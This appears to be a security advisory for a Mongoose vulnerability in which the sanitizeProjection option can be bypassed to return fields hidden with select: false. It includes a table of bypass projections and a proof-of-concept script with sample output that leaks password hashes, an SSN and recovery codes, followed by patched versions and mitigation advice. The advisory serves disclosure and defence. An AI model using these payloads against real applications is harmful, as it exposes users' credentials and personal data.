CVE-2026-142596 is a high-severity (CVSS 7.5) Information Exposure vulnerability in mongoose. A fix is available for mongoose — see the affected versions and patch details below.
Mongoose: sanitizeProjection can be bypassed to include fields deselected with `select: false`
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-142596.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
mongoosenpmDescription
Summary
Since Mongoose 8.5.0, the sanitizeProjection option prevents untrusted projections from including fields that the schema deselects with select: false, like password hashes and reset tokens. Several projection forms got around that check, so a user-controlled projection could still return select: false fields even with sanitizeProjection enabled.
Mongoose versions before 8.5.0 do not make sanitizeProjection block including select: false keys - hiding select: false keys was a new feature introduced in Mongoose 8.5.0.
Details
Given:
const User = mongoose.model('User', new Schema({
name: String,
password: { type: String, select: false },
profile: { bio: String, ssn: { type: String, select: false } },
secrets: { type: Map, of: String, select: false },
recoveryCodes: { type: [String], select: false },
tags: [String],
comments: [{ text: String, secret: { type: String, select: false } }]
}));
each of the following returned select: false data with sanitizeProjection enabled:
| Projection | Why it got through |
|---|---|
select('-name +password') | +path was only blocked in inclusive projections |
select('-+password') | Collapsing - paths turned it into +password |
select('+secrets') | +path was not blocked for map paths |
select({ name: { $concat: ['$password'] } }), select({ name: ['$password'] }) | Object and array values are aggregation expressions; only string values were sanitized |
select({ tags: { $slice: ['$recoveryCodes', 1] } }) | A two-element $slice with an expression is an aggregation expression |
select({ name: { $meta: 'sortKey' } }).sort({ password: 1 }), { $meta: 'indexKey' } | $meta returned sort and index key values |
select({ name: '$password' }) called before sanitizeProjection(true) | String values were only sanitized if the option was set first |
select({ profile: { ssn: 1 } }), select({ profile: { bio: '$password' } }) | Nested sub-projections were not checked |
select('profile') | Selecting a parent path included its select: false children |
select({ 'comments.$': 1 }) | The positional projection returned the whole array element |
select(JSON.parse('{"__proto__":{"password":0}}')) | An own __proto__ key re-pointed the projection object's prototype, hiding select: false exclusions |
select({ profile: { bio: 0 } }) | Nested exclusion objects were treated as inclusive, so select: false exclusions were not added |
select({ tags: { $elemMatch: { $eq: 'a' } }, name: 0 }) | Treated as inclusive, but MongoDB treats it as exclusive |
select({ name: { x: 1, $elemMatch: { $eq: 'a' } } }) | The $elemMatch cast error was swallowed and the whole projection was dropped |
schemaLevelProjections(false) with any expression above | Disabling schema-level projections also disabled sanitizeProjection |
User.findOne({ __t: 'Admin' }) | select: false fields defined only on a discriminator were not excluded, even when the filter selects that discriminator |
For example:
await User.findOne().sanitizeProjection(true).select('-name +password');
// { password: '<password hash>', ... }
await User.findOne().sanitizeProjection(true).select({ name: { $concat: ['$password'] } });
// { name: '<password hash>' }
Nested exclusion objects, $elemMatch combined with an exclusion, $elemMatch cast errors, and discriminator filters also affect queries that do not use sanitizeProjection, because they cause Mongoose to leave out the select: false exclusions it normally adds.
Proof of concept
Requires a MongoDB server on localhost and npm install [email protected] (or any affected version).
const mongoose = require('mongoose');
const { Schema } = mongoose;
(async () => {
await mongoose.connect('mongodb://127.0.0.1:27017/sanitize_projection_poc');
const User = mongoose.model('User', new Schema({
name: String,
password: { type: String, select: false },
profile: { bio: String, ssn: { type: String, select: false } },
recoveryCodes: { type: [String], select: false }
}));
await User.deleteMany({});
await User.create({ name: 'alice', password: 'HASH', profile: { bio: 'hi', ssn: '123-45-6789' }, recoveryCodes: ['CODE1'] });
// Attacker-controlled projections, passed to a query with `sanitizeProjection` enabled
const attacks = [
'-name +password',
'-+password',
{ name: { $concat: ['$password'] } },
{ name: ['$password'] },
{ name: 1, profile: { $slice: ['$recoveryCodes', 1] } },
{ profile: { ssn: 1 } },
'profile',
JSON.parse('{"__proto__":{"password":0}}'),
{ name: { x: 1, $elemMatch: { $eq: 'alice' } } }
];
for (const projection of attacks) {
const doc = await User.findOne().sanitizeProjection(true).select(projection).lean().catch(err => err.message);
console.log(JSON.stringify(projection), '=>', JSON.stringify(doc));
}
await mongoose.disconnect();
})();
Output on an affected version, with _id and __v removed. Every line includes a select: false value:
"-name +password" => {"password":"HASH","profile":{"bio":"hi"}}
"-+password" => {"name":"alice","password":"HASH","profile":{"bio":"hi"}}
{"name":{"$concat":["$password"]}} => {"name":"HASH"}
{"name":["$password"]} => {"name":["HASH"]}
{"name":1,"profile":{"$slice":["$recoveryCodes",1]}} => {"name":"alice","profile":["CODE1"]}
{"profile":{"ssn":1}} => {"profile":{"ssn":"123-45-6789"}}
"profile" => {"profile":{"bio":"hi","ssn":"123-45-6789"}}
{"__proto__":{"password":0}} => {"name":"alice","password":"HASH","profile":{"bio":"hi"}}
{"name":{"x":1,"$elemMatch":{"$eq":"alice"}}} => {"name":"alice","password":"HASH","profile":{"bio":"hi","ssn":"123-45-6789"},"recoveryCodes":["CODE1"]}
Output on a patched version. No select: false values are returned, and the last projection rejects:
"-name +password" => {"profile":{"bio":"hi"}}
"-+password" => {"name":"alice","profile":{"bio":"hi"}}
{"name":{"$concat":["$password"]}} => {"name":"alice"}
{"name":["$password"]} => {"name":"alice"}
{"name":1,"profile":{"$slice":["$recoveryCodes",1]}} => {"name":"alice"}
{"profile":{"ssn":1}} => {"name":"alice","profile":{"bio":"hi"}}
"profile" => {"name":"alice","profile":{"bio":"hi"}}
{"__proto__":{"password":0}} => {"name":"alice","profile":{"bio":"hi"}}
{"name":{"x":1,"$elemMatch":{"$eq":"alice"}}} => "Can't use x with String."
Impact
Applications are affected if they pass user-controlled data into select(), find(filter, projection), or the projection option, and rely on sanitizeProjection to keep select: false fields hidden. An attacker can read those fields, which typically hold password hashes, reset tokens, API keys, or other secrets.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | mongoose | ≥ 8.5.0&&< 8.24.10 | 8.24.10npm install mongoose@8.24.10 |
| 📦npm | mongoose | ≥ 9.0.0&&< 9.12.2 | 9.12.2npm install mongoose@9.12.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mongoose, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mongoose to 8.24.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-142596 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Frequently Asked Questions
Is CVE-2026-142596 in your dependencies?
Find it across npm, including transitive dependencies.